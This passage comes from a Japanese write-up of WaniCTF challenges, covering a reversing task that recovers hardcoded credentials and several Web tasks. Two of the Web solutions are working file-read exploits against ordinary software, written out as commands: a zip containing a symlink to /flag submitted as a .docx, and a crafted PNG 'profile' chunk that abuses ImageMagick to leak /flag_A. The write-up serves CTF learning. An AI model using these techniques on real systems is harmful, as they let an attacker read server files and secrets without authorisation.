unnamed_function_18(uVar1,1); uVar1 = unnamed_function_15(0x143c4,s_Your_PassWord_:_ram_0001027e); uVar1 = unnamed_function_16(uVar1,local_88); unnamed_function_18(uVar1,1); uVar2 = unnamed_function_19(local_7c,local_10); if (((uVar2 & 1) == 0) || (uVar2 = unnamed_function_19(local_88,local_1c), (uVar2 & 1) == 0)) { uVar1 = unnamed_function_15(0x143c4,s_Incorrect!_ram_0001020a); unnamed_function_18(uVar1,1); } else { uVar1 = unnamed_function_15(0x143c4,s_Correct!!_Flag_is_here!!_ram_00010233); unnamed_function_18(uVar1,1); uVar1 = unnamed_function_16(0x143c4,local_28); uVar1 = unnamed_function_16(uVar1,local_34); uVar1 = unnamed_function_16(uVar1,local_40); uVar1 = unnamed_function_16(uVar1,local_4c); uVar1 = unnamed_function_16(uVar1,local_58); uVar1 = unnamed_function_16(uVar1,local_64); uVar1 = unnamed_function_16(uVar1,local_70); unnamed_function_18(uVar1,1); local_4 = 0; } unnamed_function_1563(local_88); unnamed_function_1563(local_7c); unnamed_function_1563(local_70); unnamed_function_1563(local_64); unnamed_function_1563(local_58); unnamed_function_1563(local_4c); unnamed_function_1563(local_40); unnamed_function_1563(local_34); unnamed_function_1563(local_28); unnamed_function_1563(local_1c); unnamed_function_1563(local_10); return local_4; }
この中で、usernameとpasswordの判定は、
uVar2 = unnamed_function_19(local_7c,local_10); if (((uVar2 & 1) == 0) || (uVar2 = unnamed_function_19(local_88,local_1c), (uVar2 & 1) == 0)) {
この2行で行っていそうなことが分かります。
unnamed_function_19
をざっと見ると、与えられた2つの引数が一致しているか確認するだけの関数であることが分かります。
local_7c
とloca_88
はそれぞれ、ユーザが入力したusernameとpasswordであることが29行~32行から予想できるので、正しいusernameとpasswordはlocal_10
とlocal_1c
に格納されていることが予想できます。
また、20行目~28行目の処理は第一引数に第二引数のアドレスにあるデータを格納しているように見えます。
unnamed_function_14(local_10,0x101a0); unnamed_function_14(local_1c,0x1024c); unnamed_function_14(local_28,&PTR_DAT_ram_00616c46_ram_0001019c); unnamed_function_14(local_34,0x101e6); unnamed_function_14(local_40,0x1006a); unnamed_function_14(local_4c,0x1011d); unnamed_function_14(local_58,0x10111); unnamed_function_14(local_64,0x100ca); unnamed_function_14(local_70,0x10000);
実際に0x101a0と0x1024cを見ると、文字列が置いてあるのでこれをusername, passwordとして入力するとフラグが出力されました。
ram:000101a0 63 6b 77 ds "ckwajea" <- user name 61 6a 65 61 00 ...... ram:0001024c 66 65 61 ds "feag5gwea1411_efae!!" <- password 67 35 67 77 65 61 ... (見やすくするためにData -> stringで文字列表示にしています)
Web
[Beginner] IndexedDB
開発者ツールを開いて、アプリケーション→IndexedDBを見ていくとフラグが書かれていました。
[Easy] Extract Service 1
Extract Service 2の解き方で解けたので、そちらを参照してください。
[Easy] 64bps
フラグが2GBのファイルの末尾にあり、通信速度が8byte/sに制限されているため、普通にアクセスすると無限に時間がかかります。 HTTPのRangeリクエストを使うことで、フラグの部分のみを取得することができます。
import requests url = "https://64bps-web.wanictf.org/2gb.txt" size = 2147483648 headers = { "Range": f"bytes={size}-" } res = requests.get(url, headers=headers) print(res.text)
$ python3 solve.py FLAG{m@ke_use_0f_r@n0e_reques7s_f0r_l@r9e_f1les}
[Normal] Extract Service 2
/flagのシンボリックリンクをword/document.xmlという名前で作成し、zip圧縮します。
$ mkdir word $ sudo ln -s /flag ./word/document.xml $ zip -ry evil.zip ./word
後はこのzipファイルをdocxファイルとして送信すると、word/document.xmlを読みに行くときにflagを読んでくれます。
[Normal] certified1
kurenaifさんの動画でImageMagickの脆弱性について解説している動画があったのを思い出して、それを参考に解きました。
以下のコマンドを実行してpngファイルを作成します。(hoge.pngは任意のpngファイル)
$ pngcrush -text a "profile" "/flag_A" hoge.png $ exiv2 -pS pngout.png
この画像ファイルを送信して、得られた画像ファイル(ここではflag.pngとします)にidentify
を実行するとフラグが得られました。
$ identify -verbose flag.png ... Raw profile type: 42 464c41477b3768655f736563306e645f663161395f31735f77343174316e395f6630725f 793075217d0a signature: 549eff32e5d5c8b6b5aa066cec9d1d72891c860f005c71a7a8d7fb8b161d7ce6 ... $ python3 -c 'print(bytes.fromhex("464c41477b3768655f736563306e645f663161395f31735f77343174316e395f6630725f793075217d0a"))' b'FLAG{7he_sec0nd_f1a9_1s_w41t1n9_f0r_y0u!}\n'
感想
WaniCTFは様々なジャンルの問題を幅広い難易度で提供してくれるので、毎回楽しみにしています。今回のCTFで、Crypto、Webが苦手だと再確認できたので、そろそろ真面目に勉強していきたいところです。
Wani Hackaseの皆様、楽しいCTFを開催していただき本当にありがとうございました!